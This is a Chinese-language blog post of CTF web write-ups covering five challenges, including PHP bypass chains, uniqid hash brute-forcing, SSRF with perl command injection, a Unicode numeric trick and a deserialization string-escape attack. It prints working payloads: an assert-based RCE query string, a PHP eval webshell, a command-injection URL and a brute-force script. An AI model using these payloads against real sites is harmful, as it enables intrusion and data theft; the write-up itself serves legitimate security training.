ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

week1

PRACTICE
2026-04-16
# ctf

2018-hack.lu-Web-baby

这到底从上到下顺序多个绕过点

  • 第一个绕过点
if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

简单写文件,直接?msg=data://text/plain,Hello%20Challenge!就可以了

  • 第二个绕过点
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

intval()将字符串转换成整数,转换规则是从字符串开头开始转换,直到遇到第一个非数字字符为止

弱比较漏洞就不多说了,key1=1337a

  • 第三个绕过点
if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

$k2长度必须是42,并且正则匹配为纯数字但is_numeric不能匹配为数字,而且弱比较等于1337...
好吧这其实是个坑,这里正则结尾的$是全角符号,所以这个正则表达式匹配的字符串必须以全角$结尾。用$的十六进制url编码是%EF%BC%84,占三字节,故key2=000000000000000000000000000000000001337%ef%bc%84

php的strlen按照的是字节数计算,一个字母或数字,换行符占一字节,而全角符号/汉字占3个字节

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
    die("lel no\n");
}

先把k1,k2交换了位置,如果substr(cc,cc, cc,bb) === sha1(cc)成立,遍历\_GET字典,把每个键值对都变成一个变量,键是变量名,值是变量值

list() 是 PHP 的一个内置结构,它的作用是把数组里的值,按顺序分别塞进括号里的变量中
foreach遍历字典,as前面是字典,后面是键和值
$_GET是一个全局变量字典,包含了所有通过HTTP GET方法传递的参数。只要填写了参数都会放入字典
$$叫可变变量,$$a就是把a的值当成变量名来访问。这里$lel是键名,而$$lel就是以这个键名重新命名一个变量,值为$hack。覆盖变量的意思

sha1和md5一个样子,传入数组使其null===null就行
最难的是下面这一行$b=1;//;"b"=a$;"2" = b
这里加了个隐式字符RLO (Right-to-Left Override, U+202E),它会把后面的字符串反过来显示,所以实际上这一行的代码是

$‮b=1;//;"b"=a$;"2" = b

所以对于$$a !== $k1只要让$k1=2就行。foreach变量覆盖时会根据GET生成变量,于是GET参数必须写上k1=2

  • 最后RCE
assert("$bb == $cc");

assert()函数会把传入的字符串当成PHP代码执行

传参bb=system('cat flag.php');//就行了

最终组合

/?msg=data://text/plain,Hello%20Challenge!&key1=1337a&k1=2&key2=000000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=system('cat flag.php');//

回头来看交换变量其实只是个眼障

2022-HitCon-Web-yeeclass

依旧白盒审计
submission.php里前端可以看到超链接

<?php foreach ($result as $row) { ?>
	<tr>
		<?php if ((isset($_SESSION["userid"]) && $_SESSION["userclass"] >= PERM_TA) || $row["userid"] == $_SESSION["userid"]) { ?>
		<td><a href="submission.php?hash=<?= $row['hash'] ?>"><?= $row["name"] ?></a></td>
		<?php } else { ?>
		<td><?= $row["name"] ?></td>
		<?php } ?>
		<td><?= $row["score"] ?? "-" ?></td>
		<td><?= $row["username"] ?></td>
		<td><?= $row["time"] ?></td>
	</tr>
<?php } ?>
  • <?= ?>是PHP的短标签,等价于<?php echo ?>,用来输出变量值
  • foreach()是PHP的一个控制结构,用来遍历数组或对象。语法是foreach ($array as $value) ,其中$array是要遍历的数组,$value是每次迭代时当前元素的值
  • ?? 是PHP的空合并运算符,用来判断一个变量是否存在且不为null,如果存在且不为null就返回这个变量的值,否则返回??后面的值
if (isset($_GET["hash"]) && $_GET["hash"] != "") {
    // view single submission
    $mode = "view";
    $submission_query = $pdo->prepare("SELECT s.*, u.username, h.name from submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.`hash`=?");
    $submission_query->execute(array($_GET["hash"]));
    $result = $submission_query->fetch(PDO::FETCH_ASSOC);
  • 首先是扩展函数PDO的用法(防sqli):
    prepare()方法用来预处理SQL语句,返回一个PDOStatement对象,语句中的占位符用?表示
    execute()方法用来执行预处理语句,参数是一个数组,表示SQL语句中的占位符的值
    fetch()方法用来获取查询结果,有几种常用的获取形式:

PDO::FETCH_ASSOC表示以关联数组的形式返回结果
PDO::FETCH_NUM表示以索引数组的形式返回结果
PDO::FETCH_BOTH表示同时以关联数组和索引数组的形式混合返回(默认)
PDO::FETCH_OBJ表示以匿名对象的形式返回结果

  • LEFT JOIN是SQL中的一种连接方式,用来从两个表中获取数据。LEFT JOIN会返回左表(submission)中的所有记录,以及右表(user和homework)中匹配的记录合并在一起,如果右表没有匹配的记录,则返回NULL

这里的关联条件是提交记录里的 userid 等于用户表的 id,提交记录里的 homeworkid 等于作业表的 id。通俗一点来说就是fetch出全部提交记录,然后罗列成一列一列超链接的方式显示在前端

这些只是在积累审计经验,真正的漏洞在提交部分submit.php里

if ($_SERVER["REQUEST_METHOD"] == "POST" || isset($_GET["delete"])) {
    $homeworkid = (isset($_GET["delete"])) ? $_GET["homeworkid"] : $_POST["homeworkid"];
    
    $homework_query = $pdo->prepare("SELECT id, `open` FROM homework WHERE id=?");
    $homework_query->execute(array($homeworkid));
    $result = $homework_query->fetch();

    if (!$result) {
        if (isset($_GET["delete"])) {
            // deletion
            http_response_code(404);
            die("No submission to delete");
        } else {
            // 注意下面这部分
            $id = uniqid($_SESSION["username"]."_");
            $submit_query = $pdo->prepare("INSERT INTO submission (`hash`, userid, homeworkid, content) VALUES (?, ?, ?, ?)");
            $submit_query->execute(array(
                hash("sha1", $id),
                $_SESSION["userid"],
                $_POST["homeworkid"],
                $_POST["content"]
            ));

            $hash_query = $pdo->prepare("SELECT `hash` FROM submission WHERE userid=? AND homeworkid=?");
            $hash_query->execute(array($_SESSION["userid"], $_POST["homeworkid"]));
            $result = $hash_query->fetch();

            http_response_code(302);
            header("Location: submission.php?hash={$result['hash']}");
            exit;
        }
    }

这是一个作业提交流程。POST提交作业时,当数据库没有对应的作业id,就插入数据库并生成一个id和hash值,然后根据数据库的hash值重定向到作业详情页,submission.php?hash={$result['hash']}

uniqid($val)是PHP的内置函数,用来生成一个基于当前微秒时间的唯一字符串加在$val后面。但它只是把当前的“秒+微秒”转换成了13位的十六进制字符串,所以有爆破的可能性

回到原题就是一个flag的作业详情页无法查看,但知道提交人和记录时间。解法就出来了。直接写脚本爆破uniqid

import requests
import hashlib
from datetime import datetime, timezone

username = "flagholder"
timestamp = '2026-03-26 20:30:48.540403'

dt = datetime.fromisoformat(timestamp)#.replace(tzinfo=timezone.utc)
sec = int(dt.timestamp())
usec = dt.microsecond
print(sec, usec)

url = 'http://challenge-def7fc8b931a17ec.sandbox.ctfhub.com:10800/submission.php?hash='

def get_hash(sec, usec):
    user_id = f"{username}_{sec:08x}{usec:05x}"
    return hashlib.sha1(user_id.encode()).hexdigest()

for i in range(0, 1000):
    hash = get_hash(sec, usec - i)
    r = requests.get(url + hash)
    print(i, hash)
    if r.text != "Submission not found.":
        print("Found hash:", hash)
        print(r.text)
        break

[HITCON 2017]SSRFme

源码审计

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

shell_exec : 命令执行

escapeshellarg :安全转义函数,负责给字符串加''

pathinfo:以数组的形式返回关于文件路径的信息

  • [dirname]:目录路径
  • [basename]:文件名
  • [extension]:扩展名
  • [filename]:不含后缀的文件名

basename('文件路径','要移除的文件扩展名'):返回路径中的文件名

上面一部分实现了沙盒创建,目录名为orangeip地址的md5

然后在这个沙盒中传参,url负责接收目录地址交给GET工具解析

GET 是一个软链接(Symlink),指向一个叫 lwp-request 的脚本,由perl编写。旨在快速请求一个网页/目录并把其源码回显在屏幕上

filename传参文件名,过滤.防止路径穿越,然后创建这个文件名并移动到其目录下,再将url返回的结果写在里面

我们可以传参url=/&filename=a然后读取

/sandbox/2eddbadf7037fb9de948667cd056d5c1/a

然后可以看到根目录的文件列表

Snipaste_2026-06-01_21-14-57.png

解法1:利用perl语言漏洞

perl的open()函数用于读取文件,如果文件名以|结尾,perl就会将文件名当作命令执行

GET本身支持file协议,并且脚本在处理file协议时就会调用perl的open()函数,于是就有如下payload

url=file:bash -c /readfile|&filename=a
# /readfile是ELF可执行程序

尴尬的是,这个靶场可能存在问题,导致命令不能执行

解法2:利用data协议

GET脚本也支持data协议,我们可以写个木马

url=data://text/plain,<?php @eval($_POST['cmd'])?>;&filename=shell.php

用蚁剑连接sandbox里的php就行

不过最终还是没有解出来,只能说搬题的人没弄好配置

Snipaste_2026-06-01_21-30-31.png

[ASIS 2019]Unicorn shop

这道题的解法在注释里,utf-8编码下写了句注释Ah,really important,seriously.

Snipaste_2026-06-01_21-34-40.png

加上unicorn和unicode谐音,这道题可能在考编码方面的漏洞

购买商品时页面需要填入价格,并且提示只能填一个字符,但flag价格是1337。

但如果我们什么都不填,响应就会出现stderr

>>> import unicodedata
>>>
>>> unicodedata.numeric('1')
1.0
>>> unicodedata.numeric('11')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: numeric() argument 1 must be a unicode character, not str
>>>
>>> unicodedata.numeric('7')
7.0
>>> unicodedata.numeric('17')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: numeric() argument 1 must be a unicode character, not str
>>>

得知python后端使用unicode编码解析数字,而前端使用utf-8解析

我们在网站上查询一个数值大于1337的unicode单字符

Snipaste_2026-06-01_21-43-34.png

然后用它的utf-8编码

Snipaste_2026-06-01_21-44-26.png
%F0%90%84%A3

填入就能拿flag了

[0CTF 2016]piapiapia

这道题可以说是ctf一个十分经典的题,反序列化字符串逃逸的鼻祖题

index是一个登录框。我爆破了万能密匙字典,观察session,都没有漏洞点。事已至此先扫盘

Snipaste_2026-06-01_21-50-19.png

拿到备份源码www.zip,分开审计几个文件

首先是config.php,它一般会通过数据库传值,我们要读的就是这个文件

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

正好profile.php有读取文件的逻辑,它file_get_contents读取了一个反序列化创建的属性

$profile=$user->show_profile($username);
if($profile  == null) {
    header('Location: update.php');
}
else {
    $profile = unserialize($profile);
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));
}

前端也会回显$photo

<label>Phone: <?php echo $phone;?></label>

在class.php看一下这个show_profile()的逻辑

public function show_profile($username) {
    $username = parent::filter($username);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
}

再找filter()的逻辑,可以看到严格的过滤。除了会将\,'换成_,还会将'select', 'insert', 'update', 'delete', 'where'换成hacker

public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

而这个序列化来源自updata.php的逻辑,本来是作为头像文件

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

思路已经很清晰了,这是个序列化变长逃逸。由于filter的过滤会改变序列化字符长度,我们可以操控nickname覆盖变量photo

但nickname传输有个逻辑

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');

卡字符也卡长度,但我们可以在传参时将nickname改为nickname[],这样两边都会返回false,就不会触发die

序列化时,彼时中间肯定有一段长这样

{...;a:1:{s:x:"$nickname";}s:5:"photo";...}

我们要用nickname覆盖photo,先在nickname里构造

";}s:5:"photo";s:10:"config.php";}

再构造";}之前,已知5字符where会被替换成6字符hacker,每个where都会多出来一个字符,而上面这一串有34个字符

于是我们在前面写34个where,这样原本是34*5+34,结果变成了34*6+34而他还是以34*5+34去读,那么刚好到"之前截止当作nickname的内容,后面的payload就会当photo内容。由于序列化完整,所以再到;}就不会往后再读了

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

把这个传给nickname[]就回显config里的内容了,base64解密就能拿flag

avatar

uky

后端安全方向,ctf-web手

PRACTICE

2025ISCTFwp

2025-12-11

2026SHCTFwp

2026-01-28

portswigger-Nosqli专题

2026-05-20

Table of Contents